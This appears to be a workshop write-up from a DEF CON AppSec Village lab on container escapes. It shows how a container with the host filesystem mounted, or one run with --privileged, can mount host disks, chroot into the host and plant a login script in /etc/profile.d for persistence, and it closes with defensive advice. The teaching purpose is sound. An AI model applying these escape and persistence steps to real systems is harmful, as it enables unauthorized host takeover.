Container Escapes 101 - abusing persistent file storage
In this workshop, we’re going to write to the host’s filesystem from inside of a container. This is a good tactic to gain persistence, but also to escalate privileges or exfiltrate data.
Shared volumes
We’ll start with an easy task - explore a shared filesystem between the host and the container. This is (still) a common way to persist data across container runs or share between containers. It’s easy to implement and easy to implement poorly.
Setup
We’re not going to mess with any capabilities or security options. AppArmor is still enabled. We’re just going to run a container with the part or all of the host’s filesystem mounted somewhere. In our case, it’s at /mnt
inside the container.
1
2
3
4
5
6
7
8
9
10
user@escapes:~$ sudo apparmor_status
sudo apparmor_status
apparmor module is loaded.
110 profiles are loaded.
15 profiles are in enforce mode.
# # # and much more output # # #
user@escapes:~$ docker run -it \
--volume /:/mnt \
ubuntu:24.04 \
bash
🚩 Remember our flag is at /boot/flag.txt
on the host, so we can use that to test our access.
Now let’s explore some
1
2
3
4
5
6
7
8
9
10
11
root@d159c2df467b:/# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
loop0 7:0 0 68.9M 1 loop /mnt/snap/core22/2012
loop1 7:1 0 68.9M 1 loop /mnt/snap/core22/2049
loop2 7:2 0 44.3M 1 loop /mnt/snap/snapd/24724
loop3 7:3 0 42.9M 1 loop /mnt/snap/snapd/24787
sda 8:0 0 25G 0 disk
|-sda1 8:1 0 1G 0 part /mnt/boot/efi
|-sda2 8:2 0 2G 0 part /mnt/boot
`-sda3 8:3 0 21.9G 0 part
sr0 11:0 1 1024M 0 rom
Well now, there’s our flag at /mnt/boot/flag.txt
! Let’s read it.
1
2
root@d159c2df467b:/# cat /mnt/boot/flag.txt
hiya, you found me at appsec village @ defcon 33!
Now let’s write to it. We’ll add a little note that we were here.
1
2
3
4
root@d159c2df467b:/# echo -en "natalie was here\n" >> /mnt/boot/flag.txt
root@d159c2df467b:/# cat /mnt/boot/flag.txt
hiya, you found me at appsec village @ defcon 33!
natalie was here
And verify it from the host.
1
2
3
user@escapes:~$ cat /boot/flag.txt
hiya, you found me at appsec village @ defcon 33!
natalie was here
If you explicitly grant access to the host’s filesystem, of course you can read and write to it.
Fun fact, this is somewhat of a difficult thing for many cloud security software programs to track, as if you’re monitoring the container’s execution, /mnt/boot
is probably not treated/monitored/secured the same as /boot
is on the host … even if it’s the exact same files!
Unshared volumes when you’re privileged are shared
Now let’s try to do the same thing, but with a more (or less …) restrictive setup. We’ll use the same container image, but not explicitly give away the whole darn root file system. However, because this process needs to also use extra hardware (to run tests for example), we’ll give it --privileged
mode.
Setup
1
2
3
4
user@escapes:~$ docker run -it \
--privileged \
ubuntu:24.04 \
bash
Finding the volumes and devices
1
2
3
4
5
6
7
8
9
10
11
root@d8ac82874310:/# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
loop0 7:0 0 68.9M 1 loop
loop1 7:1 0 119.8M 1 loop
loop2 7:2 0 42.9M 1 loop
sda 8:0 0 25G 0 disk
|-sda1 8:1 0 1G 0 part
`-sda2 8:2 0 23.9G 0 part /etc/hosts
/etc/hostname
/etc/resolv.conf
sr0 11:0 1 1024M 0 rom
Hmmmm, that /sda2
partition has some mounts … what else is there?
1
2
3
4
5
root@d8ac82874310:/# mount /dev/sda2 /mnt
root@d8ac82874310:/# cat /mnt/boot/flag.txt
hiya, you found me at appsec village @ defcon 33!
natalie was here
root@d8ac82874310:/# echo -en "a privileged natalie was here\n" >> /mnt/boot/flag.txt
And let’s verify it from the host.
1
2
3
4
user@escapes:~$ cat /boot/flag.txt
hiya, you found me at appsec village @ defcon 33!
natalie was here
a privileged natalie was here
If you run a container with
--privileged
, it is privileged and can do privileged things like mounting directories, writing to them as root, etc. 🫠
Let’s get mischievous
Now that we’ve got the basics down, we can cause a little trouble. Let’s create a script to run on login to the host. Launch a new container using either technique above, then mount the host’s root directory and chroot into it.
1
2
3
4
user@escapes:~$ docker run -v /:/mnt --rm -it ubuntu:24.04
root@451346c69d49:/# chroot /mnt /bin/bash
root@451346c69d49:/# cat /etc/hostname
escapes
Now we can do all sorts of naughty things. Some good possibilities include
- change the SSH settings
- install some software
- open a reverse shell
- create a new privileged user
Today we’re mischief, not malice. Let’s create a script to run on login.
1
2
3
4
5
6
root@451346c69d49:/# set +H
root@451346c69d49:/# echo -en "#!/bin/bash\nwhoami\necho 'no mischief to see here'\n" > /etc/profile.d/hello.sh
root@451346c69d49:/# cat /etc/profile.d/hello.sh
#!/bin/bash
whoami
echo 'no mischief to see here'
Now verify our silliness by logging out of the container, the host, then back in again.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@451346c69d49:/# exit
exit
root@451346c69d49:/# exit
exit
user@escapes:~$ exit
logout
Connection to localhost closed.
~ ᐅ ssh -p 3022 user@localhost
user@localhost's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-64-generic aarch64)
Last login: Sun Jul 20 15:28:51 2025 from 10.0.2.2
user
no mischief to see here
user@escapes:~$
🎉 We have a little script that runs on login to the host, outside of what we were supposed to be doing.
Wrap up
Anyone that can run containers runs with the privileges of the runtime. To their credit, most runtimes now can run as a non-root user, but it’s not a universal default that they do run as a non-root user.
Sharing the host’s filesystem or devices does exactly what you think it does. It allows you to read and write to the host’s filesystem. A much better alternative is to use a storage volume that is mounted to the container, but not the host. This allows you to persist data across runs of the container, but not write to the host’s filesystem. This takes time and effort to set up.
🫠 I’m still not sure why --privileged
wasn’t called --danger-mode
or something. If you allow something as root, you can do root things.
Back to the index.